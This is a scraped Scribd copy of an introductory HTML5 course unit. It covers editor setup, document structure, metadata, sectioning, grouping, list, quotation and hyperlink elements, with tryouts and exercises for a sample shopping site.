0% found this document useful (0 votes)
11 views

msd unit-1 html5-1

HTML (HyperText Markup Language) is the foundational language for creating web pages, defining their structure and meaning. The document outlines the environmental setup for HTML5 development using Visual Studio Code, including creating a basic HTML page and utilizing the Live Server extension for real-time updates. It also covers key concepts such as document structure, types of elements, attributes, comments, and best practices for writing HTML.
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
11 views

msd unit-1 html5-1

HTML (HyperText Markup Language) is the foundational language for creating web pages, defining their structure and meaning. The document outlines the environmental setup for HTML5 development using Visual Studio Code, including creating a basic HTML page and utilizing the Live Server extension for real-time updates. It also covers key concepts such as document structure, types of elements, attributes, comments, and best practices for writing HTML.
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 96

HTML - Introduction

In the web technology world, below are the fundamental building blocks of any web page.

HTML (HyperText Markup Language) is the most fundamental building block of the Web. It defines
the meaning and structure of web content.

CSS(Cascading Style Sheet) is used for styling and giving better presentation to the web pages

JavaScript(JS) is used for implementing behavior required in a web page

Environmental Setup for HTML5


Environmental Setup

To develop a web application using HTML, you can use simple editors such as Notepad or go for IDEs
like Visual Studio Code(recommended), Eclipse etc. which makes coding easier.

And, to execute application, you can use any commonly used browser such as Google
Chrome(recommended), Mozilla Firefox etc.

Let us understand how to set up the environment to develop a web application using Visual Studio
Code.

Create the below-mentioned HTML page in Visual Studio Code by the following steps:

 Open Visual Studio Code from the Start menu.


 Once Visual Studio Code is launched, Open your local workspace by clicking the File menu
and selecting the 'Open Folder' option.

 Create a new file by clicking the new file icon as shown below.

 Name the new file as index.html, and type the below-mentioned code in it.

index.html

1. <!DOCTYPE html>
2. <html>
3. <head>
4. <title>HTML Introduction</title>
5. </head>
6. <body>
7. <p>Welcome to HTML course. </p>
8. </body>
9. </html>

To render this HTML file, right-click on index.html as shown below and copy the path of
index.html into the browser
And the output will be displayed as below:
Output:

Adding Live Server

In the previous example, each time whenever we make subtle changes in the code we will be forced to
refresh the page for the changes to reflect.

There is a solution to this in the Visual Studio Code.

Visual Studio Code IDE provides an extension called Live Server using which HTML page can be
rendered and any changes that developers make further will be automatically detected and rendered
appropriately.

Follow the below steps to add Live Server:

1. Go to the extension tab in Visual Studio Code and search for Live Server and Click on the Install
button.
2. Once the Live Server extension is successfully installed, an HTML page can be rendered by right-
clicking on the intended HTML page in the Explore tab and select the ‘Open with Live Server’ option
as shown below:

And, you can observe the output as below:

HTML - Need
HTML is needed to fill online forms in web applications as below:

Also, with the help of HTML, we can watch online videos on Youtube.
While browsing the Web, when you click on a hyperlink, you navigate to another web page. This is
possible with the help of HTML.

Do you know, how these web pages with different content types such as text, hyperlinks, forms, images,
and videos are created in web applications?

You can achieve all these requirements using HTML.

Machine Readability

As web pages are read by computer programs like search engines and assistive tools, a web developer
needs to ensure machine readability.

HTML allows us to provide correct semantics (meaning) to web page content which in-turn enhances
machine readability of web pages.

Google reads web pages to generate a result People with visual impairments, use screen-
set for the user's search. readers to access the web application.
What is HTML?
HyperText Markup Language (HTML)
Hyper Text Markup Language (HTML) is a standard markup language to create the structure of a web
page. It annotates the content on a web page using HTML elements.
In a web page, all instructions to the browser are given in the form of HTML tags, also known as HTML
elements.
The content of the web page will be rendered as per the HTML tags in which they are enclosed.
Observe the below picture.

The text content "Hello World!" is annotated to the heading, increasing the font-weight when it is
enclosed in the HTML tag <h1>.

Likewise, the look and feel of the web page can be defined and the content can be organized on the web
page with the help of various HTML elements.
Now, let us see the document structure of HTML.

Basic Document Structure


HTML document structure tells the browser how to render the text written in each of the HTML
elements of the web page.
Consider that we need to create a web page, the basic HTML document structure will be as below:

The structure of an HTML document is defined using HTML tags.


Below is the basic structure of a simple HTML document or web page:

1. <!DOCTYPE html>
2. <html>
3. <head>
4. <title></title>
5. </head>
6. <body>
7. </body>
8. </html>

Now, let us understand these basic HTML tags in detail.


The following are some key elements in HTML that form the basic structure of a web page.
 <!DOCTYPE html> declaration update the browser about the version of HTML being used. By
default, it points to HTML5, the latest version.
 The <html> tag encapsulates the complete web page content. All other tags are 'nested' within
the <HTML> tag.
 Any HTML document or web page consists of two main sections the 'head' and the 'body'.
o The head section starts with the start tag <head> and ends with the end tag </head>.
The following elements can be provided within the head tag.
Tags Description
<title> Defines the title that should be displayed on the browser tab
 Metadata is in-general, data about data.
 Provides metadata about the HTML document.
 Metadata will not be displayed on the page but will be machine-readable.
<meta>  Used to specify page description, author of the document, last modified, etc.
 Used by browsers (control how to display content or reload the page), search
engines (keywords), or other web services.
 Post HTML5, meta tag also allows web designers to take control over the viewport
by setting the meta viewport tag.
<style> Defines style information for the web page
<link> Defines a link to other documents like CSS
<script> Defines script like JavaScript

 The body section is denoted within the start tag <body> and ends with the end tag </body>.
This section contains actual web page content like text, images, etc.

Basic Document Structure - Best Practices

Every HTML document/web page will have only one set of

 <html>...</html> tag
 <head>...</head> tag
 <body>...</body> tag

HTML document/web page is saved with .htm or .html extension.

Case-insensitivity
HTML elements are case-insensitive. The browser understands the HTML tags irrespective of their
cases.
Consider the code snippets below, copy the snippets to your workspace and observe the output
Code 1:

1. <!DOCTYPE html>
2. <html>
3. <head>
4. <title>Homepage </title>
5. </head>
6. <body>
7. Hello World!
8. </body>
9. </html>
Code 2:

1. <!DOCTYPE html>
2. <html>
3. <head>
4. <title>Homepage </title>
5. </head>
6. <body>
7. Hello World!
8. </boDy>
9. </html>

You can observe that both codes generate the same output as below:

Best Practice:
It is recommended to use lowercase for HTML tags as a best practice.
Tryout : Case-insensitivity
Problem Statement:
Make below observation(s) in the given code-snippet:
1. Start-tag and end-tag of HTML elements are written in upper-case.
2. First-letter in the start-tag and End-tag of the <title> element is in the upper-case.
3. Start-tag of the <body> element is written in mixed-case.

Activity:
Change case of various HTML elements
Note: You can execute this tryout in your Visual Studio Code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.
HTML
<!DOCTYPE·html>
<HTML>
····<head>
········<Title>Homepage</Title>
····</head>
····<BoDy>
········Hello·World!
····</body>
</HTML>

Platform-independency

HTML Language is platform-independent. That means the same HTML code can run on different
operating systems as shown below.
Sample.html

1. <!DOCTYPE html>
2. <html>
3. <head>
4. <title>sample page</title>
5. </head>
6. <body>
7. <p>Hello World!</p>
8. </body>
9. </html>

Output:
On executing the above-mentioned code we can observe the same output in different platforms as shown
below:

DOCTYPE Declaration
HTML file begins with <!DOCTYPE> declaration as below:
Sample.html:

1. <!DOCTYPE html>
2. <html>
3. <head>
4. <title> Sample page </title>
5. </head>
6. <body>
7. Hello world!
8. </body>
9. </html>

In the above code, <!DOCTYPE html> signifies that, the code is written in HTML5.
Best Practice:
Provide a proper DOCTYPE declaration while designing an HTML web page, so that browser can
understand the version and interpret elements of the web page appropriately.
Tryout : Document Structure
Problem Statement:
1. DOCTYPE declaration is used to indicate that the web page is written in HTML5.
2. Title for the web page is defined using <title> element.
3. Content within the <body> element will be rendered in the browser.
Activities:
1. Change the value of <title> tag. Give 'Regarding us'
2. Change any tags into uppercase and observe the output
Note: You can execute this tryout in your Visual Studio Code IDE or any other editor in case of any
issue in executing/viewing response in the below -given pane.
HTML
<!DOCTYPE html>
<html>
<head>
<title>WayFar</title>
</head>
<body>
<h1>About Us</h1>
<h4>WayFar - Making Moments to Memories</h4>
<p>At the heart of everything we do at WayFar, is add magic to our customers' trips. We do this by
offering them over 500 unforgettable experiences like staying in a floating cottage, dining like the
royals,dining in houseboats and many more. Be it in India or abroad, each of our trips has something
unique for families to love together, laugh together and grow together.</p>
<p>Moreover,this is at the heart of what WayFar stands for. More to savor, more to sample, more
to experience, more to love. Whether you’re travelling with us or planning with us, we will make sure
you get more of what you want: choice. As a WayFar member, you will have the world at your finger
tips, with special offers, select access to leisure facilities and exclusive privileges all over the
world.</p>
</body>
</html>

Types of Elements
Types of Elements - Block/Inline Elements
HTML elements can be further categorized into two as below:
Block Element:
A block element begins on a new line occupying the entire width of the parent tag.
Inline Element:
An inline element occupies the necessary space to accommodate the content in the element. Inline
elements can be nested within other inline elements, whereas, block elements cannot be nested within
inline elements.
Some of the examples are illustrated below:

Tryout : Types of Elements


Problem Statement:
Make below observation(s) in the given code-snippet:
1. The paragraph element starts with a new line (i.e. <p> is a block element).
2. The <span> element starts from the same line (i.e. <span> is inline element).
Activity:
Replace any of the below-given tags with <h1> element and observe the output.
Note: You can execute this tryout in your Visual Studio Code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.

HTML
<!DOCTYPE html>
<html>
<body>
<p> I am first paragraph.</p>
<p> I am second paragraph.</p>
<p>Paragraph is block element.</p>
<span>I am first span.</span>
<span>I am second span.</span>
<span>Span is inline elem-ent.</span>
</body>
</html>

HTML Elements - Attributes


HTML elements can contain attributes that can be considered as an additional feature to set
various properties and they are optional.
Some of the attributes can be used with any of the HTML elements and there can be referred to as
‘global attributes’. Also, some attributes can be used only with particular elements. Following are some
features of attributes:
 All the attributes can contain properties like name and value which can be used by a developer
to assign respective details for that HTML elements.
 Attributes are to be set only in the start tag of a container HTML element.
 Attributes are case-insensitive, but it is recommended to use lowercase as a best practice.
 The best practice is always to quote attribute value even though we will not get any execution
errors if they are not provided in quotes.
Example:
The lang attribute specifies the language of the content of the HTML page.

Best Practices:
 Always quote attribute value since it will not perform as expected if the attribute value contains
any special characters.
 It is recommended to use double-quotes for the values of the attributes.
 Use lowercase letters for attribute names for consistency.
 There should not be duplication for the same attribute in an element.
Comment
As a developer, you may want to document your code, so that you can easily refer to it in the future.
For this, comments are used.

Comments are ignored by the browser.


Best Practices:
Use proper comment lines for documentation on the HTML page when the application is in progress
and delete them from the final code to reduce the page size and increase the page readability.

Tryout : Comment
Problem Statement:
Make below observation(s) in the given code-snippet:

1. 3rd paragraph element is not displayed in the output as it is commented.

Activity:
Uncomment the 3rd paragraph and observe the output.
Note: You can execute this tryout in your Visual Studio Code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.

HTML

<!DOCTYPE html>
<html>
<body>
<p>Paragraph 1</p>
<p>Paragraph 2</p>
<!--<p>This paragraph is commented</p>-->
</body>
</html>
Metadata Element

Best Practices:

 The title element can also be considered as part of the metadata.


 Any web page should have only one title tag per page.
 The title should be unique for each web page in the application.
 Start the title tag with the main keyword.
 Specify the character encoding of the document.
 Use UTF-8 encoding while designing the web page. It is not recommended to use ASCII
incompatible encodings to avoid security risks because browsers that do not support them may
interpret insecure content.
 Avoid duplicate descriptions inside metadata and try to include the targeted keywords in the
description, as search engines index your page based on the description.
 Use the below http-equiv value to set the HTTP header with content-security-policy by
specifying its values with relevant details. This is to update the browser to load the page
required resources such as images, scripts to be loaded from the trusted origin only. Therefore
helps in preventing security attacks such as cross-site scripting.

Example:

Below line of code in the web app update browser to load page required resources from 2 origins by
specifying values to default-src as:

<meta http-equiv="content-security-policy" content="default-src 'self' http://xyz.com">

self indicates from the current domain to which page belongs to.
Explicitly mentioning the http://xyz.com value in the above example indicates that this domain is the
trusted origin to load the resources.

 Use the below meta code line to specify the page content display to be adjusted to the device
width being used to view the content with the initial zoom level as 100%. This is useful to
display content on different kinds of devices such as desktop, laptop, and mobile devices.

<meta name="viewport" content="width=device-width, initial-scale=1.0">

You can change the zoom level depending on your requirement by specifying values to the initial-scale
attribute as any positive value from 0.0 to 10.0. For example you can consider 0.1 = 10% zoom and 1.0
= 100% respectively.

Tryout : Metadata Element


Problem Statement:
Make below observation(s) in the given code-snippet:
1. The <metadata> element is used within the Head element.
2. The "name" attribute is used with the description value to set the details/ description of the
web page.
3. The "charset" attribute is used to set character-encoding to be used for web pages.
4. The <title> element provides the title to the web page.
Activity:
Change the value of the name attribute to add your name as the author of the web page.
Note: You can execute this tryout in your Visual Studio Code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.

Exercise : Metadata Element

Problem Statement:

Consider the below code for Homepage.html.

Include the Metadata element for providing description as below:

Hussain's is an online shopping website that sells goods in retail. This company deals with various
categories like Electronics, Clothing, Media, and so on...

Homepage.html:

1. <!DOCTYPE html>
2. <html>
3. <head>
4. <title>Hussain's Shopping</title>
5. <!-- Write your code here -->
6. </head>
7.
8. <body>
9. </body>
10. </html>

Sectioning Elements

Article, Aside and Address Elements

<article>:

The <article> element is used to include self-contained composition on a web page.

1. <article>
2. <h1>MEAN stack</h1>
3. <p>MEAN stack training includes discussion on MongoDB, Node,
4. Express and Angular with the corresponding certifications</p>

5. </arcicle>

<aside>:

The <aside> element is used to include content related to the main content of the web page.

1. <article>
2. <h1>MEAN stack</h1>
3. <p>MEAN stack training includes discussion on MongoDB, Node, Express and Angular
with the corresponding certifications</p>
4. <aside>
5. <p>Visit our official website to attempt our certifications</p>
6. </aside>

7. </arcicle>

<address>:

The <address> element helps to semantically organize address details in HTML content.

1. <address>
2. John
3. #231A
4. Palace Lane
5. Bangalore
6. </address>>
Tryout : Sectioning Elements
Problem Statement:
Make below observation(s) in the given code-snippet:
1. The <header> element contains header information of the web page.
2. The <article> element contains the main content of the web page.
3. The <section> element groups thematically related content.
4. The <aside> element contains side-info.
5. The <h1> element defines heading.
6. The <nav> element defines navigational links.
7. The <footer> element contains footer information.
Activity:
Add another article element with sections and observe the output
Note: You can execute this tryout in your Visual Studio Code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.

HTML

<!DOCTYPE html>
<html>
<body>
<header>
<nav> Login | SignUp </nav>
<h1> Brand Name </h1>
</header>

<article>
<section>
<p>Paragraph 1</p>
<p>Paragraph 2 is thematically related to Paragraph 1</p>
</section>
</article>
<aside>
Side info
</aside>
<footer>
<nav> About Us | Contact Us </nav>
</footer>
</body>
</html>
Exercise : Sectioning Elements
Problem Statement:

Consider the below code for Homepage.html. Enhance the semantics of content by adding appropriate
sectioning elements to achieve the below-mentioned expected output.

Homepage.html:
1. <!DOCTYPE html>
2. <html>
3.
4. <head>
5. <title>Hussian's Shopping</title>
6. <meta name="keywords" content="Online, Shopping" />
7. </head>
8.
9. <body>
10. Login | SignUp | Track order Welcome to Hussian's Shopping Clothing | Media
Hussain's very own one-stop solution for all your shopping needs !
11. Dont believe us? Click on the offers and check it out for yourself !! Clothing Media
About
12. Us | Privacy Policy |Contact Us | FAQ | Terms & Conditions Copyright 2018 | Giri Like
and Connect with us
13. FB Twitter g+
14. </body>
15. </html>

Expected Output:

Grouping Elements - Need

Grouping elements in HTML5 can be categorized majorly as below:

Paragraph Element
The paragraph element is generally used for denoting a paragraph. Any textual content can be
mentioned inside this element.
It is defined using <p>…</p> tag.
Let us understand this with an example.
Copy the below code into your Visual Studio Code workspace.
demo.html

1. <!DOCTYPE html>
2. <html>
3. <body>
4. <p>This is a Paragraph</p>
5. </body>
6. </html>

To execute this code:


 Right-click on the file demo.html
 Select the option "Open with Live Server"
 Right-click on the browser, and select the inspect option.

In the pop-up window, observe the 'Elements' tab as below:

We can observe that the paragraph element is a block-level element and hence adds a new line
automatically when a paragraph ends. This ensures visual spacing between consecutive paragraphs of
text.

Tryout : Paragraph Element

more_vert
fullscreenread_more
arrow_back_iosarrow_forward_ios
Problem Statement:
Make below observation(s) in the given code-snippet:
1. Defining paragraph using the <p> element.
2. The paragraph is a block as well as a container element.

Activity:
Add another paragraph and observe the output.
Note: You can execute this tryout in your Visual Studio Code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.

HTML
<!DOCTYPE html>

<html>

<body>

<p>Paragraph 1</p>
<p>Paragraph 2</p>

<p>Paragraph 3</p>

</body>

</html>
Division and Span Elements
Division Element
The division element is used to group various other HTML tags. This element helps us in organizing
the web page into different sections.
If any common rule or style needs to be added to a particular section, the same can be applied to the
corresponding division. The rule or style gets applied to all the contents of the division thereby.
It is defined using <div>…</div> tag.
Let us understand this with an example
Copy the below code into your Visual Studio Code workspace.
demo.html

1. <!DOCTYPE html>
2. <html>
3. <body>
4. <div>
5. <p> This is first paragraph </p>
6. <p> This is second paragraph </p>
7. <p> This is third paragraph </p>
8. </div>
9. </body>
10. </html>

To execute this code:


 Right-click on the file demo.html
 Select the option "Open with Live Server"
 Right-click on the browser, and select the inspect option.

In the pop-up window, observe the 'Elements' tab as below:

We can observe that the division element is a block-level element and hence a new line is automatically
added after the division ends.

Span Element
Similar to the division element, the span element is also used to group various other HTML tags to
apply some common styles.
It is defined by using <span> ...</span> tag.
The span element is by default inline in nature, and hence no new line is added after the span ends. This
tag is preferred only when we cannot use any other semantic tags.
Copy the below code into your Visual Studio Code workspace.

demo.html

1. <!DOCTYPE html>
2. <html>
3. <body>
4. <div>
5. <span>first section of paragraph</span>
6. <span>second section of paragraph</span>
7. </div>
8. </body>
9. </html>

To execute this code:


 Right-click on the file demo.html
 Select the option "Open with Live Server"
 Right-click on the browser, and select the inspect option.
In the pop-up window, observe the 'Elements' tab as below:

We can observe that no newline is added after the span ends since the span element is an inline-
level element by default.
Tryout : Division and Span Elements

more_vert
fullscreenread_more
arrow_back_iosarrow_forward_ios
Problem Statement:
Make below observation(s) in the given code-snippet:
1. Defining division using a <div> element.
2. The division acts as a container element (i.e. It is grouping three paragraphs within it).
3. Defining two portions of the same block with the <span> element.
Activities:
1. Remove the <div> element and observe the output.
2. Include one more <span> tag after paragraph 3 and observe the output.
Note: You can execute this tryout in your Visual Studio code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.
HTML
<!DOCTYPE html>

<html>

<body>

<div> <!-- Groups all 3 paragraphs -->

<p>Paragraph 1</p>

<p>Paragraph 2</p>

<p>Paragraph 3</p>

<span>first portion </span><span> second portion </span>

</div>

</body>

</html>

List Element
HTML lists come in three basic flavors and each one has a specific implementation.

HTML lists come in 3 basic flavors:


1. Unordered list
2. Ordered list
3. Description list
Each one has a specific purpose and meaning.
Unordered List
An unordered list is used to create a list of related items, in no specific order, like in the Terms and
Conditions page where there is more focus on ensuring the readability of content by listing out points
but not much concern about the specific order of points.
 An unordered list starts with the <ul> tag.
 Each item within the list technically referred to as 'list-item' enclosed within the <li> tag.
For example, to generate an unordered list as seen below:

The following snippet can be used.


1. <h1>Courses offered:</h1>
2. <ul>
3. <li>HTML5</li>
4. <li>CSS</li>
5. <li>JS</li>
6. <li>Bootstrap</li>
7. </ul>

Let us learn how to customize the unordered list appearance.


Unordered List - Bullet Types
The types of bullet points can be customized in an unordered list by using the list-style-type property
provided by CSS.
For example, if we want our list to be displayed as below:

The corresponding code to achieve this requirement is:

1. <h1>Courses offered:</h1>
2. <ul style="list-style-type: square;">
3. <li>HTML5</li>
4. <li>CSS</li>
5. <li>JS</li>
6. <li>Bootstrap</li>
7. </ul>

The possible values for the list-style-type property are :

By default, the value 'disc' will be assigned to the property.


Let us learn how to nest the unordered list while designing a web page.
Note: There is a type attribute to define the types of bullet points, which is not recommended to be used
as per the latest HTML version.
Unordered List – Nesting
In HTML, it is also possible to nest lists into different levels.
For example, if you want to create a nested list as shown below:

Corresponding HTML code to achieve this requirement is:

1. <h1>Courses Offered:</h1>
2. <ul>
3. <li>Markup
4. <ul>
5. <li> Basics of HTML
6. <ul>
7. <li> First level course on HTML </li>
8. </ul>
9. </li>
10. <li> Adaptive HTML </li>
11. </ul>
12. </li>
13. <li>Styling
14. <ul>
15. <li> CSS3
16. <ul>
17. <li> Latest version of CSS </li>
18. </ul>
19. </li>
20. </ul>
21. </li>
22. </ul>

If you observe the above-given code snippet, based on the enclosure of the inner <ul>... </ul>
elements on various lines, the default bullet styling of unordered list element has been populated on to
the web page.

Tryout : Unordered List


Problem Statement:
Make below observation(s) in the given code-snippet:
1. Defining the unordered list using the <ul> element.
2. Defining list-items using <li> element.
3. Default bullets are "disc".
Activities:
1. Add the new items to the list and observe the output.
2. Nest the list-items and observe the output.
Note: You can execute this tryout in your Visual Studio Code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.
HTML
<!DOCTYPE html>
<html>
<body>
<ul>
<li> One </li>
<li> Two </li>
<li> Three </li>
</ul>
</body>
</html>
Ordered List
An ordered list is used when the order of items is important and we want to create a list of related items,
in a specific order.
 An ordered list starts with the <ol> tag.
 Each item within the list technically referred to as 'list-item' enclosed within the <li> tag.
For example, to generate an unordered list as seen below :

The below-given code snippet can be used to achieve this requirement.

1. <h1>Courses offered:</h1>
2. <ol>
3. <li>HTML5</li>
4. <li>CSS</li>
5. <li>JS</li>
6. <li>Bootstrap</li>
7. </ol>

Best Practice:
It is a good practice to avoid more than one list item per line.

Ordered List - Bullet Types


The types of bullet points can be customized in an ordered list by using the list-style-type property
provided by CSS.
For example, if we want our list to be displayed as below:

The corresponding code to achieve this requirement is:

1. <h1>Courses offered:</h1>
2. <ol style="list-style-type: upper-roman;">
3. <li>HTML5</li>
4. <li>CSS</li>
5. <li>JS</li>
6. <li>Bootstrap</li>
7. </ol>

Some of the following values for the list-style-type property are:


Some of the possible values of the list-style-type property Type of bullet
1,2,3,4 ... decimal
I, II,III,IV,.. upper-roman
I,ii,iii,iv,.. lower-roman
A,B,C,D,.. upper-latin
a,b,c,d,.. lower-latin
By default, the 'decimal' value will be set to the CSS property. We can also have 'none' value for the
list-style-type property if we do not need any bullets to be present in the list.
Let us have a glance over some of the attributes which help us to customize the ordered list while
designing a web page.
Some of the attributes which can be used with this element are:
Name Description
start Specifies the initial value of the list.
reversed Specifies the pattern to be rendered in reversed order.
Specifies the different numbering values like :

 1 for number (default).


 a for lowercase alphabets.
type
 A for uppercase alphabets.
 i for lowercase roman numeral value.
 I for uppercase roman numeral value.

For example:
Consider the following code snippet:

1. <h1>Courses offered:</h1>
1. <h1>Courses offered:</h1>
2. <ol type="a" start="d" reversed>
3. <li>HTML5</li>
4. <li>CSS</li>
5. <li>JS</li>
6. <li>Bootstrap</li>
7. </ol>

The above code will generate lists of course offered on the web page as shown below:

Best Practice:
It is recommended to use list-style-type CSS property instead of the <ol> ... </ol> type attribute unless
the pattern of numbering ordering of the list is considered to be very important.
Ordered List – Nesting
in HTML, it is also possible to nest lists into different levels.
Ordered lists can be nested with ordered lists or unordered lists.
For example, if you want to create a nested list as shown below:

The corresponding code to achieve this requirement is:

1. <h1>Courses Offered:</h1>
2. <ol>
3. <li>Markup
4. <ol>
5. <li> Basics of HTML
6. <ul>
7. <li> First level course on HTML </li>
8. </ul>
9. </li>
10. <li> Adaptive HTML </li>
11. </ol>
12. </li>
13. <li>Styling
14. <ol>
15. <li> CSS3
16. <ul>
17. <li> Latest version of CSS </li>
18. </ul>
19. </li>
20. </ol>
21. </li>
22. </ol>

If you observe the above-given code snippet, based on the enclosure of the inner <ol> ... </ol> and
<ul>... </ul> elements on various lines, the customized list has been populated on to the web page.

Problem Statement:
Make below observation(s) in the given code-snippet:
1. Defining ordered list using <ol> element
2. Defining list-items using <li> element
3. Default bullets start from 1.
4. Usage of start attribute with <ol> element.
Activities:
1. Add items to the list and observe the output.
2. Populate the list in reversed order.
Note: You can execute this tryout in your Visual Studio Code IDE or any other editor in case of any
issue in executing/viewing response in the below- given pane.
HTML
<!DOCTYPE html>

<html>

<body>

<ol>

<li>One</li>

<li>Two</li>

<li>Three</li>

</ol>
<ol start="4">

<li>Four</li>

<li>Five</li>

<li>Six</li>

</ol> </body>

</html>
Description List
Now, let us move to the Description lists.
Description lists are used to contain name-value groups, where names can be a list of terms and values
can be their related descriptions.
The description list otherwise called definition list arranges items in the same way as the meaning
associated with each word is arranged in a dictionary as below:

 Description lists are created with the <dl> tag.


 The term is placed within <dt>.. </dt> tag and description is placed between <dd>...</dd> tag.
Let us see the syntax now:

1. <dl>
2. <dt> Description Term 1 </dt>
3. <dd> Description Definiton 1 </dd>
4. <dt> Description Term 2 </dt>
5. <dd> Description Definition 2 </dd>
6. </dl>

Best Practice:
It is recommended not to use the <dl> tag while designing any dialogues concepts.

Tryout : Description List


Problem Statement:
Make below observation(s) in the given code-snippet:
1. Defining description list using <dl> element.
2. Defining description term using <dt> element.
3. Defining description definition using <dd> element.
Activity:
Add another item on the list and observe the output.
Note: You can execute this tryout in your Visual Studio Code IDE or any other editor in case of any
issue in executing/viewing response in the below-given pane.

HTML
<!DOCTYPE html>

<html>
<body>

<dl>

<dt>The God of Small Things</dt>

<dd>The story is authored by Arunthati Ry and is set in Kerala and revolves around the lives
of two children Rahel and Esthepa and how they weave and imagine their childhood
experiences.</dd>

<dt>Shadow Lines</dt>

<dd>Shadow Lines is an invigorating story by Amitav Ghosh about the borders that mark and
limit our imaginations and memories. </dd>

<dt>The Lord of The Rings</dt>

<dd>An epic high fantasy book by the English author and scholar J.R.R.Tolkien</dd>

</dl>

</body>

</html>
Quotation and Citation Element
Quotation Element

While designing a website, we might include quotations or blocks of text from another source on our
web page. For example:

Visually, such quotes if included, should be identifiable. Also, the browser needs to render this
appropriately. This is why the quotation and citation element is introduced in HTML.

The quotation element helps to display the quotation texts with an alignment such that it looks unique
and different from the remaining textual content.

By default, the quotation element is rendered visually with indentation by the browsers.

The quotation element also helps to include the citation, i.e., the URL from where the quote has been
picked. This helps to retain the reference courtesy to the original site.

Quotation Element – Syntax


Quotation element is defined using <blockquote>...</blockquote> tag.

The source of the quote is mentioned in the cite attribute of the blockquote element.
1. <!DOCTYPE html>
2. <html>
3. <body>
4. Below line has been referred from OWASP website:
5. <blockquote cite="https://owasp.org/">
6. The Open Web Application Security Project® (OWASP) is a nonprofit foundation
that works to improve the security of software.
7. </blockquote>
8. </body>
9. </html>

The content enclosed inside <blockquote>...</blockquote> will appear in Chrome browser with default
indentation as observed below.

Note: The output may vary in different browsers.


Tryout : Quotation and Citation Element
Problem Statement:
Make below observation(s) in the given code-snippet:
1. Defining quote using the <blockquote> element.

Activities:

1. Add the https://owasp.org/ as a source of a quote using the "cite" attribute


2. Change the text given inside the <blockquote> element and observe the output.

Note: You can execute this tryout in your Visual Studio code IDE or any other editors.

1. <!DOCTYPE html>
2. <html>
3. <body>
4. <blockquote>
5. The Open Web Application Security Project® (OWASP) is a nonprofit foundation
that works to improve the security of software.
6. </blockquote>
7. </body>
8. </html>

Exercise : Grouping Elements


Problem Statement:
Consider below the "About Us" page of Hussain's Shopping Application.
Enhance the semantics of content by adding appropriate grouping elements such as list items in the
below-given code.
Aboutus.html

1. <!DOCTYPE html>
2. <html>
3.
4. <head>
5. <title>Hussian's Shopping</title>
6. <meta name="keywords" content="Online, Shopping" />
7. </head>
8.
9. <body>
10. <header>
11. <nav> Login | SignUp | Track order </nav>
12. <h1> Welcome to Hussian's Shopping </h1>
13. <nav> Electronics | Books | Sports | Media | Clothing | Offers Zone </nav>
14. </header>
15. <article>
16. <h2>About Us</h2> Hussain's Shopping is one among the world wide on-line
products dealer.
17. <section> !--Include list items here--!</section>
18. </article>
19. <footer>
20. <nav> About Us | Privacy Policy | Contact Us | FAQ | Terms & Conditions </nav>
Copyright 2018 | Giri
21. </footer>
22. <aside> Like and Connect with us FB Twitter g+ </aside>
23. </body>
24. </html>
25.

Expected Output:

Link Element
A website necessarily is a collection of related web pages, where each web page is typically created for
a particular purpose.
When developing any website:
 Each web page is necessarily coded in individual HTML files.
 To see a particular web page, the respective HTML file has to be opened up in a browser.
Below are some concerns pertaining to accessing the website developed:
 For a developer who has access to the source code of the individual HTML files, he or she can
open the respective HTML on his browser. But if you are not a developer, you do not have
access to the source code. Then how can you view the individual web pages?
 If you are trying to access the website over a network as a regular user, then also you will not
be able to view the individual web pages unless you know the exact HTML file name and path.
 Moreover, trying to access individual web pages explicitly does not give a feeling that these
web pages necessarily belong to one website or domain.
This is why the concept of hyperlinking documents or web pages have been introduced.
Below are the advantages if hyperlinks are used:
 We can create connections or links between HTML documents/web pages and users can
navigate from one web page to another by clicking on "hyperlinks".
 We would now feel that we have a website which is a collection of interconnected web pages.

Link Element – Syntax


Link elements are defined using <a> .. </a> tag as below:

Text / Image can be used as link.


Text / Image that provides such a link is called "hyperlink".
Link Element – Types
A hyperlink is a prime way in which users can navigate from one web page to another. A hyperlink can
point to another web page, or website, or files, or even specific locations on the same web page.
Hyperlinks can be of any of the below types:
Text hyperlink:
 A clickable text is used to take the user to another web page. Largely, we use text-based
hyperlinks.
 This text usually appears with an underline and in a different color.
 This color mapping is automatically done by the browser for all text hyperlinks.
Image hyperlink:
 A clickable image is used to take the user to another web page.
Bookmark hyperlink:
 A clickable text/image is used to take the user to another part of the same web page.
Email hyperlink:
 It allows users to send an email by clicking on that link.
Contact number hyperlink:
 It allows the user to call a number by clicking on that link.
Let us discuss various hyperlinks that can be created in an HTML page.

Creating Link Elements


Text hyperlink:
The text is mentioned within the start tag <a> and end tag </a> and is displayed on the screen in a
clickable manner

1. <a href="Enquire.html"> Click here to connect to us </a><br/>

2. <a href="http://www.google.com"> Click here to go to Google website </a>

Image hyperlink:
We can also have an image-based hyperlink. For this, we need to wrap the image inside an anchor tag.
1. <a href="http://www.google.com">
2. <img src="google.jpg" />
3. </a>

On click of the image, the user gets redirected and the google.com website gets loaded in the browser
tab.
Bookmark hyperlink:
When a web page is lengthy, we commonly come across icons or links that say "Go to Top" or "Go to
Bottom". Click on these links does take the user to the top of the page or bottom, as applicable.
Sometimes we also observe, on click of a text in the menu bar, the page auto scrolls to that particular
section on that page. This is achieved by using the Bookmarking concept and the same is implemented
by using hyperlinks.

1. <h2 id="top">Topic</h2>
2. <p>Detail……</p>
3. <p>Detail……</p>
4. <p>Detail……</p>
5. <a href="#top">Go to Top</a>

Email hyperlink:
To send an email on click of a hyperlink, use the below syntax:

1. <a href="mailto:[email protected]?Subject=Hello%20again">Send Mail</a>

On click of the link, the installed mail client on the computer gets activated for sending the email. An
installed email client should necessarily be installed on the computer for this to work.
Contact number hyperlink:
